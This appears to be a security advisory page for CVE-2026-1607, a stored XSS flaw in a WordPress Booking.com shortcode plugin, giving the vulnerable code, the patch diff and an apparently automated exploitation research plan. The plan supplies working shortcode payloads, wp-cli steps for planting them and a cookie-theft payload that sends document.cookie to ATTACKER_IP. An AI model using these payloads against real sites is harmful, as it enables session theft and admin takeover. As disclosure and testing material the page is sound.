CVE-2026-1607

Surbma | Booking.com <= 2.1 - Authenticated (Contributor+) Stored Cross-Site Scripting via Shortcode

mediumImproper Neutralization of Input During Web Page Generation ('Cross-site Scripting')
6.4
CVSS Score
6.4
CVSS Score
medium
Severity
2.1.1
Patched in
1d
Time to patch

Description

The Surbma | Booking.com Shortcode plugin for WordPress is vulnerable to Stored Cross-Site Scripting via the plugin's `surbma-bookingcom` shortcode in all versions up to, and including, 2.1 due to insufficient input sanitization and output escaping on user supplied attributes. This makes it possible for authenticated attackers, with contributor-level access and above, to inject arbitrary web scripts in pages that will execute whenever a user accesses an injected page.

CVSS Vector Breakdown

CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:C/C:L/I:L/A:N
Attack Vector
Network
Attack Complexity
Low
Privileges Required
Low
User Interaction
None
Scope
Changed
Low
Confidentiality
Low
Integrity
None
Availability

Technical Details

Affected versions<=2.1
PublishedApril 13, 2026
Last updatedApril 14, 2026

What Changed in the Fix

Changes introduced in v2.1.1

Loading patch diff...

Source Code

WordPress.org SVN
Research Plan
Unverified

# Exploitation Research Plan - CVE-2026-1607 ## 1. Vulnerability Summary The **Surbma | Booking.com Shortcode** plugin (versions <= 2.1) is vulnerable to **Authenticated Stored Cross-Site Scripting (XSS)**. The vulnerability exists in the `surbma_bookingcom_shortcode_shortcode` function, which proc…

Show full research plan

Exploitation Research Plan - CVE-2026-1607

1. Vulnerability Summary

The Surbma | Booking.com Shortcode plugin (versions <= 2.1) is vulnerable to Authenticated Stored Cross-Site Scripting (XSS). The vulnerability exists in the surbma_bookingcom_shortcode_shortcode function, which processes the [surbma-bookingcom] shortcode. The plugin accepts a user-defined attribute param, which is concatenated directly into a <script> tag's src attribute without any sanitization or escaping (such as esc_attr or esc_url). This allows an attacker with Contributor-level permissions or higher to inject arbitrary HTML attributes or close the script tag entirely to execute malicious JavaScript.

2. Attack Vector Analysis

  • Endpoint: WordPress Post/Page Editor (standard Gutenberg or Classic editor).
  • Shortcode: [surbma-bookingcom]
  • Vulnerable Parameter: param
  • Authentication: Required (Contributor role or higher). Contributor is the minimum role that can typically create posts and use shortcodes.
  • Preconditions: The plugin must be active. A user with the Contributor role must be able to save a post (even as a draft) and preview it, or an Administrator must view the published post.

3. Code Flow

  1. Entry Point: The shortcode is registered in surbma-bookingcom-shortcode.php:
    add_shortcode( 'surbma-bookingcom', 'surbma_bookingcom_shortcode_shortcode' );
    
  2. Processing: When a page containing the shortcode is rendered, WordPress calls surbma_bookingcom_shortcode_shortcode($atts):
    function surbma_bookingcom_shortcode_shortcode( $atts ) {
        extract( shortcode_atts( array(
            "param" => ''
        ), $atts ) ); // $param is extracted from $atts['param']
        return '<script type="text/javascript" src="https://www.booking.com/general.html?'.$param.'"></script>';
    }
    
  3. Sink: The $param variable is concatenated directly into the return string. Because it is not passed through esc_attr() or esc_url(), characters like " and > can be used to break out of the HTML attribute and tag context.

4. Nonce Acquisition Strategy

This vulnerability is exploited via the standard WordPress post creation/editing flow. It does not involve a custom AJAX or REST API endpoint provided by the plugin.

  • Nonce Needed: To create/save a post as a Contributor, the standard WordPress _wpnonce for post creation is required.
  • Acquisition:
    1. The automated agent logs in as a Contributor.
    2. Navigate to wp-admin/post-new.php.
    3. The _wpnonce is present in the page source (usually in the wp.apiFetch settings or a hidden input).
    4. The agent uses the standard wp-cli command wp post create to bypass the need for manual nonce handling during the injection phase.

5. Exploitation Strategy

The goal is to inject a payload that executes when an Administrator views the post.

Step-by-Step Plan:

  1. Inject via Post Creation: Use wp-cli as a Contributor to create a post containing the malicious shortcode.
  2. Payload Selection:
    • Attribute Breakout: param=' " onload="alert(origin)" '
      • Result: <script ... src="...html? " onload="alert(origin)" "></script>
    • Tag Breakout (Cleaner): param='"></script><script>alert(origin)</script>'
      • Result: <script ... src="...html?"></script><script>alert(origin)</script>"></script>
  3. Trigger: Navigate to the frontend URL of the newly created post while logged in as an Administrator.

HTTP Request Details (Simulating Preview/Save):

While wp post create is simpler, if testing the UI flow:

  • URL: http://localhost:8888/wp-admin/post.php (for existing) or wp-admin/post-new.php
  • Method: POST
  • Content-Type: application/x-www-form-urlencoded
  • Body Parameters:
    • post_title: XSS Test
    • content: [surbma-bookingcom param='"></script><script>alert(origin)</script>']
    • action: editpost
    • post_type: post
    • _wpnonce: [extracted_nonce]

6. Test Data Setup

  1. User: Create a user with the contributor role.
    wp user create attacker attacker@example.com --role=contributor --user_pass=password
    
  2. Post: Create the post as the contributor.
    wp post create --post_type=post --post_status=publish --post_title="Booking Search" --post_content='[surbma-bookingcom param="\"></script><script>alert(origin)</script>"]' --user=attacker
    

7. Expected Results

  • When the page is rendered, the HTML source should contain:
    <script type="text/javascript" src="https://www.booking.com/general.html?"></script><script>alert(origin)</script>"></script>
    
  • The browser should execute the alert(origin) call.

8. Verification Steps

  1. Check Database Content:
    wp post list --post_type=post --field=post_content | grep "surbma-bookingcom"
    
  2. Verify Frontend Output:
    Use http_request to fetch the post URL and check for the unescaped script tag:
    # Get the URL of the last created post
    POST_URL=$(wp post list --post_type=post --format=ids | xargs -n 1 wp post get --field=url | head -n 1)
    # Check if the payload is present in the response
    # (The agent will use browser_navigate and check for the alert)
    

9. Alternative Approaches

If alert() is blocked or hard to detect:

  • Cookie Exfiltration: param='"></script><script>fetch("http://ATTACKER_IP/?c=" + btoa(document.cookie))</script>'
  • Admin User Creation: If the target is an Administrator, inject a script that uses the REST API or user-new.php to create a new admin account (standard XSS-to-RCE/Admin chain).
  • Attribute Injection: Some browsers might behave differently with src attribute breakout. An alternative is param=' " onerror="alert(1)" ' if the src URL fails to load, though onload is more reliable for <script> tags if the src is valid. However, since we close the tag in the primary strategy, that remains the most robust method.
Research Findings
Static analysis — not yet PoC-verified

Summary

The Surbma | Booking.com Shortcode plugin for WordPress is vulnerable to Stored Cross-Site Scripting via the `surbma-bookingcom` shortcode in versions up to 2.1. This occurs because the `param` attribute is concatenated directly into a script tag's source URL without sanitization or escaping, allowing authenticated contributors to inject arbitrary JavaScript.

Vulnerable Code

// surbma-bookingcom-shortcode.php lines 28-33
function surbma_bookingcom_shortcode_shortcode( $atts ) {
	extract( shortcode_atts( array(
		"param" => ''
	), $atts ) );
	return '<script type="text/javascript" src="https://www.booking.com/general.html?'.$param.'"></script>';
}
add_shortcode( 'surbma-bookingcom', 'surbma_bookingcom_shortcode_shortcode' );

Security Fix

diff -ru /home/deploy/wp-safety.org/data/plugin-versions/surbma-bookingcom-shortcode/2.0/surbma-bookingcom-shortcode.php /home/deploy/wp-safety.org/data/plugin-versions/surbma-bookingcom-shortcode/2.1.1/surbma-bookingcom-shortcode.php
--- /home/deploy/wp-safety.org/data/plugin-versions/surbma-bookingcom-shortcode/2.0/surbma-bookingcom-shortcode.php	2020-02-10 13:24:56.000000000 +0000
+++ /home/deploy/wp-safety.org/data/plugin-versions/surbma-bookingcom-shortcode/2.1.1/surbma-bookingcom-shortcode.php	2026-04-12 14:58:34.000000000 +0000
@@ -5,7 +5,7 @@
 Plugin URI: https://surbma.com/wordpress-plugins/
 Description: A simple shortcode to include Booking.com search box into WordPress.
 
-Version: 2.0
+Version: 2.1.1
 
 Author: Surbma
 Author URI: https://surbma.com/
@@ -17,20 +17,29 @@
 */
 
 // Prevent direct access to the plugin
-if ( !defined( 'ABSPATH' ) ) {
-	die( 'Good try! :)' );
-}
+defined( 'ABSPATH' ) || exit;
 
 // Localization
-function surbma_bookingcom_shortcode_init() {
+add_action( 'init', function() {
 	load_plugin_textdomain( 'surbma-bookingcom-shortcode', false, dirname( plugin_basename( __FILE__ ) ) . '/languages/' );
-}
-add_action( 'plugins_loaded', 'surbma_bookingcom_shortcode_init' );
+} );
 
-function surbma_bookingcom_shortcode_shortcode( $atts ) {
-	extract( shortcode_atts( array(
-		"param" => ''
-	), $atts ) );
-	return '<script type="text/javascript" src="https://www.booking.com/general.html?'.$param.'"></script>';
-}
-add_shortcode( 'surbma-bookingcom', 'surbma_bookingcom_shortcode_shortcode' );
+add_shortcode( 'surbma-bookingcom', function( $atts ) {
+	$atts = shortcode_atts(
+		array(
+			'param' => '',
+		),
+		$atts,
+		'surbma-bookingcom'
+	);
+
+	$param = isset( $atts['param'] ) ? $atts['param'] : '';
+	$param = is_string( $param ) ? wp_strip_all_tags( $param ) : '';
+
+	$url = 'https://www.booking.com/general.html';
+	if ( '' !== $param ) {
+		$url .= '?' . rawurlencode( $param );
+	}
+
+	return '<script type="text/javascript" src="' . esc_url( $url, array( 'https' ) ) . '"></script>';
+} );

Exploit Outline

1. Authenticate to the WordPress site as a user with Contributor-level permissions. 2. Create a new post or page via the WordPress editor. 3. Insert the `[surbma-bookingcom]` shortcode into the post content, supplying a malicious payload in the `param` attribute. A working payload uses HTML tag breakout: `[surbma-bookingcom param='"></script><script>alert(origin)</script>']`. 4. Save the post as a draft or publish it. 5. When an administrator or any other site visitor views the post, the browser will interpret the closing `"></script>` sequence, terminate the original Booking.com script tag, and execute the subsequent injected `<script>` block.

Check if your site is affected.

Run a free security audit to detect vulnerable plugins, outdated versions, and misconfigurations.